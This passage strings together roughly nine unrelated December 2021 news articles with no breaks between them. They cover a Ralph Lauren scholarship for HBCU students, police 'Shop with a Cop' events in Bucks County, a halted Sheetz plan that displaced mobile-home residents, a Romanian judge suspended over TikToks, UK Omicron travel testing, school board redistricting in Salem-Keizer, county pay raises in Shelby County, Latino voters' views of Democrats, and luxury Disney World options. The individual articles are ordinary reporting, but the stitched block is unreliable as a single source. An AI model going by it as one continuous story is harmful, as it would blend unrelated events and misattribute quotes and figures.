scarcity affects Black professionals to view Black peers as threats based on the acceptance that progress for one likely means regression or stagnation for the other, according to the report. Praising the Ralph Lauren Corporate Foundations expanded partnership with the United Negro College Fund and how more Black students will benefit from the increased investment, the UNCFs president and chief executive officer Dr. Michael Lomax said: African American communities remain disproportionately impacted by the lack of resources needed to go to and through colleges. While the Ralph Lauren Foundations new initiative is a significant investment in helping HBCUs students, several fashion brands have been trying to supports HBCUs in different ways. Earlier this fall Tiffany & Co. named the five beneficiaries of its $2 million scholarship pledge to HBCUs, a program that is being rolled out with Beyonces BeyGood foundation and Jay-Zs Shawn Carter Foundation. (The couple star in Tiffanys About Love campaign.) In June, Gap Inc., Harlems Fashion Row and Icon360 announced scholarship winners from HSBUs that are part of the Closing the Gap initiative. The inaugural effort will provide $510,000 in funding to fashion departments at HBCUs. On Tuesday, Urban Outfitters released the special-edition UO Summer Class of 2021 apparel collection. The assortment of collegiate apparel and lifestyle accessories was designed by five students from three HBCUs who took part in a 10-week internship program. In October, Bleacher Report and the Social Change Fund United joined forces to create a collection celebrating seven HBCUs and featuring the works of seven Black fashion directors. The Ralph Lauren Corporate Foundations scholarship program aims to pay it forward by encouraging each scholarship recipient to get involved with community service. In addition, as part of the Ralph Lauren Corporations Global Citizenship and Sustainability goals and its efforts to build a diverse, inclusive and equitable culture, the company works with HBCUs to create career opportunities for Black talent through internships, recruitment, mentorship and development programs. Separately, last month the designers company introduced the Ralph Lauren Pin of Solidarity to shoppers in North America. Created by Ralph Laurens Black Advisory Council, the $10 pin is meant to symbolize the allyship with Black, African and African American communities. All of the profits from the sale of each pin will be given to the companys separate UNCF Ralph Lauren Scholarship Program, which is separate from the foundation-supported scholarships. The company does not disclose sales targets, but a company spokeswoman said the aim is to sell as many as possible, because of the purpose and intention behind the pin and for this important cause. A donation to the UNCF Ralph Lauren Scholarship Program will be made, regardless of how many pins are sold. The Ralph Lauren Corporate Foundation is also a sponsor of the UNCFs Walk for Education. The annual initiative raises funds to support HSBCUs and their students through the support of individuals, corporations and other groups. With social distancing still in effect in many areas of the country, this years walk was held Sept. 18 virtually, due to the pandemic. The toy section at the Walmart in Hilltown last week was filled with children, walking with local officers, purchasing toys and other gifts for this holiday season. Edwin Rosa, of Plumstead, was with his five children, roaming around the aisles with officers from the Central Bucks area and beyond. "They had fun, they had a blast," Rosa said. "I know I did." Keiri Fleming, of Doylestown, walked around with her children and a Doylestown Township officer as they made their way through the toy section of Walmart. Her son, who is 6, picked out a variety of toys, including Lego sets and action figures. "It's really great they did this," Fleming said. These interactions were what dozens of police officers all over the county saw while they hosted their "Shop with a Cop," events, where they helped hundreds of local children in need pick out gifts for the holidays. The events are funded by donations. New Britain Township Police Chief Richard Clowser holds up a scooter while Alex Hershman, 8, of Doylestown, considers his options during Plumstead Township Police Department's 5th annual Shop with a Cop event at Walmart in Hilltown Township on Tuesday, December 8, 2021. Funded by community donations, the program paired law enforcement officers from 11 local departments with more than 100 kids to help them shop for presents for themselves and their families. "This is great because we get to interact with the kids and with their families," said Plumstead Chief David Mettin, whose department hosted their event at Walmart in Hilltown on Dec. 7. Officers, many of whom wore Santa hats, and the children they partnered with, were all smiles as they made their way throughout the store. Kids led the local officers around the aisles, and threw items, such as Nerf guns, card games and clothing into their carts at the encouragement of their police partners. The chief said Shop with a Cop was one of their biggest events they do with the community every year, and it lets officers interact and have fun with the local kids, something they don't always get a chance to do. "This you can see what it does for the community," Mettin said. Rosa, whose family was at the event when it was last held two years ago, said his son was looking forward to spending time with the officers again. "He was anxious all week for this day," he said. Buckingham Township Police Cpl. Steve Thomas helps Jeremiah McClain, 4, of Doylestown, with a toy he selected during Plumstead Township Police Department's 5th annual Shop with a Cop event at Walmart in Hilltown Township on Tuesday, December 8, 2021. Funded by community donations, the program paired law enforcement officers from 11 local departments with more than 100 kids to help them shop for presents for themselves and their families. Buckingham Township Police Ofc. Matt Ofner pushes a cart filled with toys picked out by Derek Powers, 9, and Alex Powers 8, of Doylestown, with the help of their uncle, Jose Cortez, 16, during Plumstead Township Police Department's 5th annual Shop with a Cop event at Walmart in Hilltown Township on Tuesday, December 8, 2021. Funded by community donations, the program paired law enforcement officers from 11 local departments with more than 100 kids to help them shop for presents for themselves and their families. Rosa noted the officers were very patient, and were great dealing with the kids. Story continues "(The kids) could pick what they wanted and they didn't have to ask," he said. Many parents took pictures of their children with not just Santa, who was there as well, but also with the officers who took them shopping that night. Mettin said he noticed a lot of kids were purchasing gifts, not just for themselves, but for their families. "That's what this is all about," he said. About 130 kids went shopping with roughly 30 officers from about 12 different departments at the Plumstead event. Officers from Buckingham, Doylestown Township, Dublin, Hatfield, New Britain Township, Solebury, Telford, Newtown Township, the county sheriff's department and state police were among those helping at Plumstead's event. Across the county, other departments held their own events, helping a similar number of kids. Newtown Township Police Cpl. Paul Deppi, left, and Kaylee Holtzman, 10, of Doylestown browse the toy aisles during Plumstead Township Police Department's 5th annual Shop with a Cop event at Walmart in Hilltown Township on Tuesday, December 8, 2021. Funded by community donations, the program paired law enforcement officers from 11 local departments with more than 100 kids to help them shop for presents for themselves and their families. Newtown Township held its event at the Target in Middletown on Saturday. Cpl. Paul Deppi, who oversees Newtown Township's efforts, said 46 officers from about seven different departments went shopping with 146 kids this year. We could see the smiles this year. We didnt get a chance to last year," Deppi said, noting that their smiles were hidden behind masks. The corporal said, like in Plumstead, he saw the kids purchasing gifts for their friends and families, even though they were encouraged to get things for themselves. We dont know who had the bigger smiles, the kids or the officers," he said. Deppi said some the kids and the officers had stories to share about their time there. Additionally, officers brought members of their family to help out. Nico Myers, 8, of Doylestown and Doylestown Township Police Ofc. Don Lawson look over a selection of Nerf guns during Plumstead Township Police Department's 5th annual Shop with a Cop event at Walmart in Hilltown Township on Tuesday, December 8, 2021. Funded by community donations, the program paired law enforcement officers from 11 local departments with more than 100 kids to help them shop for presents for themselves and their families. It kind of becomes a family event for the officers, he said. Officers from Bristol Township, Buckingham, Newtown Borough, Upper Makefield, Northampton and the county sheriff's office attended Newtown Township's event. Police prep for 'Shop with a Cop': Bucks County police helping Santa with 'Shop with a Cop' events Bucks County 'Shop with a Cop' in 2020: Bucks police help hundreds of children this holiday For subscribers: 'A persistent problem': What you need to know about catalytic converter thefts on the rise in Bucks County New Britain Township Police Ofc. Kate Peffall, left, and Jilian Kallatch, 10, of Pipersville, wait in line to checkout during Plumstead Township Police Department's 5th annual Shop with a Cop event at Walmart in Hilltown Township on Tuesday, December 8, 2021. Funded by community donations, the program paired law enforcement officers from 11 local departments with more than 100 kids to help them shop for presents for themselves and their families. Cameron Johnson, 7, of Fountainville, races down an aisle as Dublin Borough Police Ofc. Ismael Ramos follows with a cart full of toys during Plumstead Township Police Department's 5th annual Shop with a Cop event at Walmart in Hilltown Township on Tuesday, December 8, 2021. Funded by community donations, the program paired law enforcement officers from 11 local departments with more than 100 kids to help them shop for presents for themselves and their families. Middletown police held its event at the same target the week before Newtown Township. Officer Melissa Robison, who oversees Middletown's efforts, said there were 254 kids at the event this year. About 40 officers participated. She said the event received a lot of donations from churches and businesses, which allowed them to give the kids more than they usually do. Robison said the department's event is something that officers look forward to doing all year. Its really nice to see so many of us come together and just really embrace this whole thing," she said. Sgt. Dan Boyle, from the Bucks County Sheriff's Office, helps Edwin Rosa, 14, of Doylestown, pick out a blanket during Plumstead Township Police Department's 5th annual Shop with a Cop event at Walmart in Hilltown Township on Tuesday, Dec. 8, 2021. Funded by community donations, the program paired law enforcement officers from 11 local departments with more than 100 kids to help them shop for presents for themselves and their families. Lower Southampton police joined Middletown for their event this year. In Quakertown, the police department's event had 240 kids, an increase from 174 the previous year, according to Ashton Miller, the recreation coordinator for the borough. The event, held at the Walmart in Richland on Thursday, had record donations this year, she said. Miller said the best part was seeing how timid the kids were at the start, and how they changed their tune by the end of the night. By the end of the night they dont want to separate from each other," she said. Officers from Bedminster, Dublin, Hilltown, Newtown Township, Pennridge Regional, Perkasie, Richland, Springfield and Warwick attended Quakertown's event. Deppi said even though the departments host their own events, all the officers coordinate between them. If an officer is unable to make their department's event, they can attend another department's if they want to. In addition to the Newtown Township event, Deppi also helped kids shop at the Plumstead event. It's fantastic that we all have that relationship," he said. The Newtown Township corporal said they all share information and ideas with one another. Next year we want to make it better," he said. Newtown Township Cpl. Paul Deppi, left, and Northampton Police Chief Steven LeCompte, right, pose with a girl during Newtown Township police's "Shop with a Cop" event at Target in Middletown Saturday. This article originally appeared on Bucks County Courier Times: Bucks County police give back with 'Shop with a Cop' events this season Residents of Shepard's Mobile Home Court, 855 E. Main St., said they were not aware of plans for the sale of the park to pave way for a Sheetz store. Plans for a Sheetz at East Main Street and Taylor Road have been halted after the developer withdrew an application to rezone 17 acres, which included the Shepard's Mobile Home Court. Residents of the mobile-home park who had said they were kept in the dark about plans to sell the property were informed earlier this month after details of the proposal were made public that they had 180 days to leave. As of right now, based on the information we have, that 180-day notice is still active, Reynoldsburg Mayor Joe Begeny said told ThisWeek on Dec. 14. The only person who has a say otherwise is the property owner or their attorney. ThisWeek has tried multiple times but has been unable to reach property owner John A. Shepard of Thornville or his attorney. The request to rezone the property at 8555 East Main St. from an innovation district to a community commercial district which would permit construction of the Sheetz gas station was up for final approval at a Nov. 22 City Council meeting. However, council decided to table the request after hearing multiple residents express concerns about finding a new place to live on such short notice. Skilken Gold Real Estate Development announced its decision to abandon its rezoning request Dec. 10. We appreciate the concerns of the community and residents being brought to our attention, the Columbus-based firm that works with Sheetz said in an emailed statement. At Skilken Gold, our goal is always first and foremost to build up communities. We look forward to continuing to work with the seller, the city and the community to create a plan for this property that is positive for all involved. When asked if Skilken Gold remains in contract to purchase the land from Shepard, Julie Daubenmire from Approach Marketing in Worthington the developers public relations partner said, Skilken Gold is working with the current property owner and the city of Reynoldsburg to determine next steps in regard to both the zoning and purchase contract. Story continues More than 30 mobile homes are at the mobile-home park. To move a single-wide mobile home like I have runs between $18,000 and $25,000, park resident Sherral DEpifanio told City Council during its Dec. 6 meeting. If you have a double-wide, its $30,000 to $40,000. I don't know about you, but I don't have that kind of money. I was hoping that we could get some kind of subsidizing to help us with these moves. Begeny said the citys social worker has been meeting with residents about potential options and/or assistance. He said he also spoke with state Rep. Mark Fraizer (R-Newark) on Dec. 14 about options as far as transitional assistance. Sheetz, a well-known restaurant and convenience chain that has been opening locations all over central Ohio this year, opened a Columbus store near Reynoldsburg at 2700 Brice Road on Dec. 14. In August, Reynoldsburg's planning commission unanimously approved a major site plan for a 6,000-square-foot Sheetz at East Broad Street and Cedar Cliff Road at the Shoppes at East Broad. editorial@thisweeknews.com @ThisWeekNews This article originally appeared on ThisWeek: Reynoldsburg Sheetz on hold: Developer withdraws mobile-home park plan Cristi Danilet was stripped of his magistrate position on Monday for TikToks he posted last year. TEDx Talks / YouTube Cristi Danilet was stripped of his magistrate position on Monday for TikToks he posted last year. In one, Danilet was cutting a hedge. In the other, he was cleaning his swimming pool. Danilet told AP he thought the decision was "payback" for supporting legal reforms in the country. A Romanian judge has been suspended from his position for posting TikToks on Monday, the Associated Press reported. Cristi Danilet was stripped of his magistrate position on Monday for two videos he posted last year, according to the AP: one video showed him cutting a hedge, and in the other, he was cleaning his pool. Danilet's TikTok account, where he has over 9,000 followers, is now private. But before his suspension, he was fairly active, as shown by footage that's been screen-recorded and shared on YouTube. In one video, posted to YouTube by the Romanian news channel B1, Danilet can be seen practicing martial arts in the pool. According to the AP, Danilet was suspended by the Superior Council of Magistracy for "behavior that affects the image of the justice system." The decision can be appealed to the Supreme Court. Danilet has been one of the most vocal advocates for reforming Romania's Judiciary system, which many consider corrupt. The nation earned 44 points out of 100 on Transparency International's 2020 corruptions perceptions index, meaning it's considered one of the more corrupt countries in the world, though a report by the European Commission in June found the country was making progress in its fight against corruption. Danilet, who emphasized that the videos have nothing to do with his profession, said in his interview with the AP that he believed the Superior Council of Magistracy was retaliating against his advocacy for judicial reform. "I think it's a kind of payback," Danilet told the AP. "For many years I've been involved in the reform of [Romania's] judiciary ... I've got a lot of enemies for this kind of attitude. In Romania, it's very difficult to make reforms of the judiciary, but also reforms of mentalities." Story continues On Tuesday, the US Embassy in Bucharest said it was "deeply concerned" about Danilet's suspension. "An independent justice that respects the rule of law is essential for any prosperous democracy," the embassy said in a statement shared on Twitter. US Embassy Bucharest (@AmbasadaSUA) December 14, 2021 Former Prime Minister of Romania Dacian Ciolos, who served between 2015 and 2017, told the AP the current government was partaking in the "destruction of justice." He said the situation "looks bad no matter how we look at things." "Even if this decision is overturned by the High Court, the signal has been given," he said. "Judges need to be very careful." Read the original article on Insider Emergency testing and isolation measures are still being imposed on fully vaccinated travellers.(Getty) Sajid Javid and Grant Shapps have privately admitted the COVID travel restrictions are pointless, it has been claimed. Labour MP Ben Bradshaw said health secretary Javid and transport secretary Shapps told him there was no point in the travel testing regime. The red travel list and quarantine hotels for those arriving have now been abandoned but there are still emergency testing and isolation measures imposed on fully vaccinated travellers. On Wednesday during a transport select committee meeting, Bradshaw told Dr Jenny Harries: The health minister said to me in the House yesterday that he thought they were pointless and the transport secretary told me in the division lobby last night that he thought they were pointless too. Someone is obviously keeping them in place, who is keeping them in place? Watch: Health Secretary announces end to UK travel red list Dr Harries, the UK Health Security Agency (UKHSA) chief, replied: Its not for us to make decisions. We give advice to ministers and I cant speak on behalf of either of the ministers that you have just mentioned. But committee member Bradshaw, added: Who is overruling them? Is it No 10, is it the Home Office, is it the Home Secretary, is it the Cabinet as a whole? Dr Harries said she couldnt answer questions on what other ministers had said. Downing Street later insisted the measures were not pointless. The testing requirements remain important in helping to prevent additional Omicron from seeding in the United Kingdom, the Prime Ministers official spokesman said. Shapps previously said the UK was buying time by limiting travel from countries where cases of the variant had been confirmed. He told BBC Radio 4s Today programme: I think all the history of coronavirus suggests that it is best to act quickly, determine the extent of the way that the virus interacts with vaccines, treatments, transmissibility and then give yourself a bit more time. It is inevitable, of course, that it will go all around the world if it is going to do so. Story continues So this doesnt prevent it from coming here, but it slows things up and gives us the chance to grow the cultures and test those questions about vaccines and treatments against it. He added last week he did not want the red list and hotel quarantine to be implemented "for a moment longer than necessary". Read more: School closures could be inevitable after wave of Omicron, senior MPs warn Transport secretary Grant Shapps arrives at 10 Downing Street. (Getty) On Tuesday, Javid said the spread of Omicron in the UK and the world means the travel red list is now less effective in slowing the incursion of Omicron from abroad. He told MPs: Whilst well maintain our temporary testing measures for international travel, we will be removing all 11 countries from the travel red list effective from 4am tomorrow. Cabinet Office minister Steve Barclay later said the government would permit early release of people who went into managed quarantine before the changes to the red list. Javid said earlier this month the government had decided to announce new restrictions after receiving new data about the spread of the Omicron variant. Read more: COVID: Highest-ever number of children admitted to hospital in a single day The travel industry is being hampered by testing rules. (Getty) Tim Alderslade, chief executive of industry body Airlines UK, said the decision to remove all countries from the red list doesnt go nearly far enough due to testing that was making it expensive for people to travel. Travellers entering the UK are required to take a pre-departure test and self-isolate until they receive a negative result from a post-arrival test. Alderslade said: If the red list isnt necessary given that Omicron is established here at home, then neither are the costly emergency testing and isolation measures imposed on even fully vaccinated travellers, which again put us completely at odds with the rest of Europe. It is testing that is the deterrent to travel, not the relatively limited red list. He warned that the key Christmas and new year booking period will be undermined unless testing rules are eased. Airport Operators Association chief executive Karen Dee also criticised the blanket, expensive and burdensome testing regime". She added: The UK is only country currently that requires both a pre-departure test and a post-arrival test for all arrivals, regardless of vaccination status. UK tests remain significantly more expensive compared to the rest of Europe. They therefore place a heavy burden on families just as many were hoping to finally reunite with loved ones who live abroad over the Christmas period. Watch: Current measures 'will see us through to the new year' - Grant Shapps Corrections & Clarifications: This article has been updated to reflect that new zones must be within 5% of the target population and within 10% of each other. The Salem-Keizer school board Tuesday night voted to approve redistricting map #1 following a community-wide debate. The decision was in a split-decision vote. Four directors, all of whom were elected to the board in May, voted in favor of this option, which makes fewer changes than the alternative. Those in favor were chairman Osvaldo Avila, vice-chairwoman Ashley Carson Cottingham and members Karina Guzman Ortiz and Maria Hinojos Pressey. The three remaining directors Satya Chandragiri, Marty Heyen and Danielle Bethell voted against. New school board members are sworn in on Tuesday, July 13, 2021 at the Salem-Keizer School Board meeting in Salem. The first proposal, as described by Superintendent Christy Perry, is the closest to the existing zone maps, making only minor tweaks to account for zone transportation and population. Option #2 proposed the most changes, largely incorporating more of downtown into west Salem's Zone 1 vs. south Salem's Zone 4. Hinojos Pressey and Heyen worked on a subcommittee in collaboration with the Mid-Willamette Valley Council of Governments on the two options. Chandragiri said he wanted to instead vote for option #2, ideally, with an amendment he planned to present but was not able to once the option #1 vote passed. Heyen voiced support in her comments for option #2, and Bethell said she wasn't inclined to vote for either but that she believed option #2 to be slightly better. Backstory: Salem-Keizer prepares to redraw school board zones Why is the school board redistricting? With the 2020 Census complete, leaders of Salem-Keizer Public Schools must ensure voters in each school board zone are equally represented. To do so, the district needed to adjust the zones to at least make sure they are within 5% of the target population and within 10% of each other. The zone redistricting does not change where students go to school. The district had additional goals as well. Story continues When Heyen and Perry first presented the options, they said the subcommittee working with the council wanted to eliminate South Salem High School from West Salem's zone. This was especially important to Heyen, and part of the reason she wanted option #2. School safety: How is Salem-Keizer responding to increased fights in school? Additionally, Heyen and Perry said they wanted to eliminate the transportation gap between zones, making sure someone can easily travel within their zone without having to cross another. And lastly, they wanted to have a high school in every zone, with Zone 5 as an exception since there are only six traditional high schools and seven school board zones. (Story continues below) Zone 5 is in east Salem; McKay High School is the closest high school and is located in Zone 2. In the past, the Zone 5 representative, currently Guzman Ortiz, informally takes on the representation of the alternative high school programs, such as Roberts High School, now based at Chemeketa Community College. Elections: Salem-Keizer school board slows proposal to approve by-zone voting This redistricting does not affect how school board elections are conducted. Currently, voters across the entire district vote on each zone, known as at-large voting. Tuesday night's vote did not change that. Vote aligns with community majority Experts with the Mid-Willamette Valley Council of Governments drew up and recommended two proposals based on the 2020 Census results, which were initially presented to the board Nov. 9. School board members discussed and approved two plans during a work session Nov. 16, after which a community survey was publicized. Community feedback presented Tuesday night showed that between Nov. 18 and Dec. 14, the district received 456 survey responses in favor of option #1, 206 in favor of option #2 and 15 that said they had no preference. They additionally heard from 19 people during public comment Tuesday night. Of those, more than a dozen spoke in favor of option #1; one person voiced support for #2. (Story continues below) Former Salem-Keizer school board member Nancy MacMorris-Adix testified Tuesday in favor of option #1, speaking to her past experience in deciding on the zones in 2011. "You're responsible for all of the students, but the parents and families and the students, when they have an issue, they want to know who their person is, and they look to who is representing their feeder area," she said, speaking to the school boundary zones. School board: Protesters demand Danielle Bethell resign after Facebook post MacMorris-Adix said she believed option #1 kept feeder areas more aligned with school board zones than option #2. "My biggest concern is about the dividing of the downtown core into so many different areas (in option #2)," she added. "It feels, in many ways, disrespectful to those people, and it is a community with high numbers of families who live in poverty and also communities of color." Addressing suspected controversy Candidates for the school board must live within the zone where they will run for election. However, Carson Cottingham's address came into question during the redistricting process as she would have been in jeopardy of losing her seat prematurely if option #2 passed. Any existing board member displaced by the redistricting would remain in their seat until the next regularly scheduled school board election, even if it isn't the end of their term. Salem-Keizer's next school board election is in May 2023. Some community members advocated in emails to the Statesman Journal before Tuesday night's meeting that Carson Cottingham should recuse herself from the vote out of a conflict of interest. "I take my position seriously as an elected official and I will be following the guidelines put forth by the Secretary of State when I vote today," Carson Cottingham told the Statesman Journal before the meeting. New school board member Ashley Carson Cottingham is sworn in on Tuesday, July 13, 2021 at the Salem-Keizer School Board meeting in Salem. Salem-Keizer attorney Paul Dakopolos cited board policy #5 in Tuesday's meeting, clarifying there was no conflict of interest for any board member to debate or vote since none of them stood to benefit financially from the decision. There also were concerns brought forth by Chandragiri and community supporters of option #2 that gerrymandering was present when either the past school board zones were drawn or in option #1, if it was drawn to protect Carson Cottingham. Dakopolos told the Statesman Journal he is not aware of any board members interacting with the Mid-Willamette Valley Council of Governments in 2011 or 2001 after the census was completed in those years. Salem-Keizer School Board then-candidate Satya Chandragiri speaks at a forum, hosted by the League of Women Voters of Marion and Polk Counties, at Salem Public Library in Salem on May 2, 2019. He said the council drew options #1 and #2 from the 2020 Census to fit the criteria outlined by the Oregon Secretary of State. Dakopolos said he does not know if they had any idea where board directors live. The criteria were used by the council to equalize the population as close as possible between the seven zones without regard to where board directors reside and provided two viable options for the school board to consider, Dakopolos said. "This is not 'gerrymandering,' " he said. Contact reporter Natalie Pate at npate@statesmanjournal.com, 503-399-6745, Twitter @NataliePateGwin, or Facebook at www.Facebook.com/nataliepatejournalist. This article originally appeared on Salem Statesman Journal: Salem-Keizer school board approves new zone map in 4-3 vote Commissioners talk Monday, Nov. 4, 2019, during a Shelby County Commission meeting at the Vasco A. Smith, Jr. County Administration Building in downtown Memphis. On Monday, Shelby County Commissioners are likely to make their final decision on whether to raise the pay of the mayor, sheriff and their own board. It's hard to know what way they will vote: Just five of the 13 commission members were present when the items were discussed and voted on in committee Wednesday, with four voting to approve and Commissioner Reginald Milton abstaining on each of the two ordinances. Nine commissioners will need to vote in favor of each ordinance for them to pass Monday. Commissioner Edmund Ford Jr. has been a strong advocate of increasing the sheriff's salary, which is tied by county charter to the mayor's salary. The mayor's current salary is $173,003, while the sheriff's current salary is $164,765. Those two raises, if approved, would begin Sept. 1, 2022, with the goal of making the sheriff the highest-paid sheriff in Tennessee. Shelby County Sheriff Floyd Bonner announces his bid for reelection during a press conference inside Clark Tower on Wednesday, Sept. 22, 2021. Under the proposal, the Shelby County Sheriffs salary would increase by $34,735, rising to $199,500. And, the mayors salary would increase by $36,997, rising to $210,000 annually. The mayors and sheriffs salaries are linked based on the Shelby County Charter, with the requirement that the sheriffs pay be equal to at least 80% but no more than 95% of the county mayors compensation, a requirement established in 1986 when the charter was written. Both positions are up for election in 2022. Both current Sheriff Floyd Bonner and current Mayor Lee Harris are running for reelection. The salary cannot be changed during the term for which the mayor was elected or after Jan. 1 in which the mayor is to be elected, giving commissioners a short window to make the changes. Shelby County commissioners currently make $29,100, with the chairman making $31,700. But Commissioner Van Turner proposed in a previous meeting to increase the salaries for 2022-2026 to $40,000 annually. Turner will no longer be on the commission due to term limits if the raises take effect. Raises would trigger a provision in the Memphis City Charter that reads, The salary of the City Council shall be equal to the salary and expenses as set for the Shelby County Commission. Story continues On Wednesday, Ford read from a news article showing that Germantown's aldermen salaries were going to increase. He also pointed out that in Huntsville, Alabama, the City Council recently approved an increase to more than $38,000 for council members and $45,000 for the council's president, even though they have a population of about half of Shelby County. Turner said he thinks adding $10,000 is a modest increase. After eight years I do understand the workload," he said. "I do understand the time and weight of the office. But Commissioner Eddie Jones Jr., who will also be leaving the commission due to term limits, said he may bring a proposal Monday to instead offer regular cost-of-living increases for commissioners, rather than lump sums every few years. "All the other electeds get cost-of-living (increases)," Jones said. "Why not build that mechanism in, you don't have to deal with increases anymore?" Katherine Burgess covers county government and religion. She can be reached at katherine.burgess@commercialappeal.com, 901-529-2799 or followed on Twitter @kathsburgess. This article originally appeared on Memphis Commercial Appeal: Commissioners poised to vote on raises for mayor, sheriff and own board Democrats are losing support among Latino voters as the party has been criticized by Republicans who say they are embracing socialism, according to an analysis from a Democratic research firm released Tuesday. The firm, Equis, found in a poll that more than 40 percent of Latinos feel Democrats are embracing socialist policies. The concern about socialism increases by generation, with 45 percent of immigrants concerned about socialism compared to 59 percent of fourth generation Hispanics. In the poll, there was variation among what Latino voters meant by socialism, with differences between first and second generation Latinos compared to third and fourth generation. First and second generation Latinos defined socialism as the government telling people what to do and say at 16 percent and the U.S. becoming "a poor country like Cuba and Venezuela" at 17 percent. Third and fourth generation Latinos defined socialism as "People will become lazy and dependent on gov't" at 20 percent. "The socialism attack broke through: it created a space for defection, concentrated on people getting media from WhatsApp and right-wing outlets, along with those who most believe in social mobility through hard work (aka the American Dream)," the firm said in its analysis. "Among Latinos, Democrats continue to have some natural advantages- specifically on caring more about "people like you" and being "better for Hispanics"- but are on even ground with Republicans in areas that once defined their brand: valuing hard work, standing for the American Dream, and helping American workers," the firm continued. The analysis is another worrying sign for Democrats as Hispanics are the second-largest voter bloc in terms of ethnicity. "Do I think that Democrats' heads should be on fire over this issue? Yeah, I do. I think that their head should be on fire over this issue every day regardless of what polls say," said Ivan Zapien, a Democratic lobbyist and former executive director at the Hispanic Leadership Council of the Democratic National Committee (DNC). Heather Hudson had Cinderella's Royal Table on her bucket list for decades. "I wanted to do that since I was a little girl," the Denver mom said, excited to finally try it with her husband and daughter. The restaurant inside Cinderella Castle is one of the most popular dining options at Walt Disney World's Magic Kingdom. With prix fixe meals ranging from $42 to $62 per adult and $27 to $37 per child, it's also one of the more expensive. There are many ways to experience Disney World on a budget, but for families looking for a little more magic, all they have to do is open their wallets. Disney World prices keep climbing: Why die-hard fans keep going back Disney on a dime: How to save without sacrificing the magic How to see Disney like a VIP The easiest way to see Disney World like a VIP is through a private VIP tour. The tours, which include a personalized itinerary and tour guide, cost $425 to $850 hourly, with a minimum of seven hours for booking not including tips or required park tickets. "The price tag is scary," said Christa Estrada, a mom of two from El Paso, Texas. "But when you break down how much you're able to get done, it really is worth it." Christa Estrada strikes a pose at Disney's Animal Kingdom. On a recent VIP tour with friends and family, Estrada estimates she saved three to four hours on Remy's Ratatouille Adventure and Frozen Ever After at EPCOT alone. Disney tour guides can get groups to the front of lines and backstage to go from attraction to attraction and park to park quickly. "We were able to get done three parks with all of the newest rides during our seven hours," Estrada said. Up to 10 guests are allowed on each tour. The best seats in the house Instead of camping out along Main Street U.S.A. or around EPCOT's World Showcase to watch nightly fireworks, guests can secure seating through several premium experiences. One of the most luxe is a private fireworks cruise on Seven Seas Lagoon, Bay Lake or EPCOT's International Gateway. Prices start at $399 for up to 10 guests on a 25-foot boat. Story continues A slightly more affordable option, which Hudson booked, is a Ferrytale Fireworks dessert cruise on a Seven Seas Lagoon ferry. The cost is $99 for adults and $69 for children. "That's something that I would only dream of," Hudson said looking back and now making it a reality. She also booked a Fireworks Dessert Party, for another night. Dessert Party attendees enjoy all-they-can-eat sweets and reserved seats for viewing Magic Kingdom's nightly fireworks. The cost is $114 per adult and $69 per child. Story continues below. "With having a baby and it's the night of (Disney Very Merriest After Hours) party, we knew it was going to be busy and packed," Hudson said. "We really wanted to get a good view of the fireworks and not have to sit for hours and hours on end and really tried to figure out what is our time worth." Magic Kingdom fireworks can also be seen from the Contemporary Resort's California Grill, where the limited-time 50th Anniversary Celebration Menu costs $89 per adult and $39 per child. Fireworks dining packages are available at various restaurants around EPCOT's World Showcase, including Rose & Crown and Spice Road. Dining with character From socially distanced meet-and-greets to cavalcades and after-hours parades, there are multiple chances to see Disney characters throughout the parks, but one sure-fire way is to pay for it. Even though guests can't get up close to characters for hugs or autographs like before the pandemic, Elizabeth Lin of Timnath, Colorado, still wanted to share a character dining meal with her family. "Tusker House breakfast was a great option because the characters came through the dining area and then they would stop at each individual table and let the kids come up they would socially distance from them and still take pictures," Lin said. "They were interactive, dancing, and that was a lot of fun, especially for my girls." Elizabeth and Cy Lin juggled saving and splurging on their trip to Disney World with their daughters Cora and Abigail. Lin also scored reservations for Space 220, which opened at EPCOT this year and is regularly booked up. "I was so glad I got a reservation," she said. "It's a really cool experience. It definitely makes you feel like you're in space. The technology is so cool, and the menu is really great too, obviously space-themed." Space 220's prix fixe meals range from $55 to upwards of $79 for adults and cost $29 for kids at both lunch and dinner. Hudson was also able to snag several coveted reservations for her family's trip, with the help of a Facebook group dedicated to just that. To save money, Hudson booked breakfasts instead of later meals, which can be more expensive. She was also able to save on her 2-year-old's dining. Kids under 3 are free at Disney World. Ages 3 to 9 qualify for child pricing. Anyone older counts as an adult for meals and tickets. "I told my husband, if we're gonna mark them off our bucket list ... better to do it now when we're only paying for two of us," Hudson said. "Had we been paying for multiple children, I don't know that we would do all of that." Is it worth it?: What to expect from Disney's Star Wars: Galactic Starcruiser experience Saving on stays Accommodations can be one of the most expensive parts of any vacation. For guests who really want to live it up, there are suites that can cost thousands of dollars nightly at Disney World, like the Polynesian's over-the-water bungalows and Copper Creek Cabins at Wilderness Lodge. Hudson chose a budget hotel, Pop Century, for her family's trip. "Either we can splurge and stay at the Riviera or Grand Floridian and spend a couple grand there, or we can stay at a more cost-friendly hotel and put our investments into experiences," she said. Estrada has enjoyed numerous fancy stays over the years without paying full price. "One of the things that we love to do is rent (Disney Vacation Club) points so that we can stay on Disney property at the deluxe villas," she said. "We've even done one of the lakeside cabins at the Wilderness Lodge that came with a hot tub and private deck." The biggest perk for Estrada? In-unit laundry. "Probably the most luxurious experience I've had in Orlando is having a washer dryer in our own unit and being able to wash our clothes after being in the park all day," she said. Renting timeshare points from Disney Vacation Club owners via third-party companies can offer substantial savings, but it won't include the privileges guests get booking Club Level stays directly through Disney. Those include personalized concierge services and private lounges with snacks and drinks. Story continues below. Lin used rewards points to stay at the newly opened Swan Reserve near EPCOT, which is owned by Marriott but shares many of the perks of deluxe Disney properties. "You still get the early entry in the morning at the parks and also the extended evening hours when they have them," she said. What can I get for free at Disney World?: 10 freebies for your next trip The self-identified planner was able to juggle splurging and saving with months of planning. Before her trip, Lin purchased discounted gift cards at Sam's Club and then limited spending to whatever they had on hand. "We didn't have to worry about just pulling out our credit card and then at the end of the trip we're like, 'Oh my goodness that's how much we spent.' " she said. "We had that set amount ... and when it's gone, it's gone." A little outside help Estrada invested in some extra help on a recent trip to Disney World. She hired an outside nanny to help her and her friends with their kids at the parks. "I think I'm ruined for life now after using Nanny-Land," the mom of two said. Her nanny even stood in line for her snacks while she rode The Jungle Cruise. "It was the most amazing experience I've ever had." If money is no object and Disney doesn't offer a particular service, there are numerous outside businesses ready to step in, like personal shoppers to help snag high-demand souvenirs, makeup artists offering in-room makeovers while Bibbidi Bobbidi Boutique remains closed and people who deliver groceries. Some are even former cast members who've been furloughed or laid off amid the pandemic. Hudson looked into a princess makeover for her little one. "She'll sit still for a minute, but I don't know," she laughed, choosing to DIY instead. Even 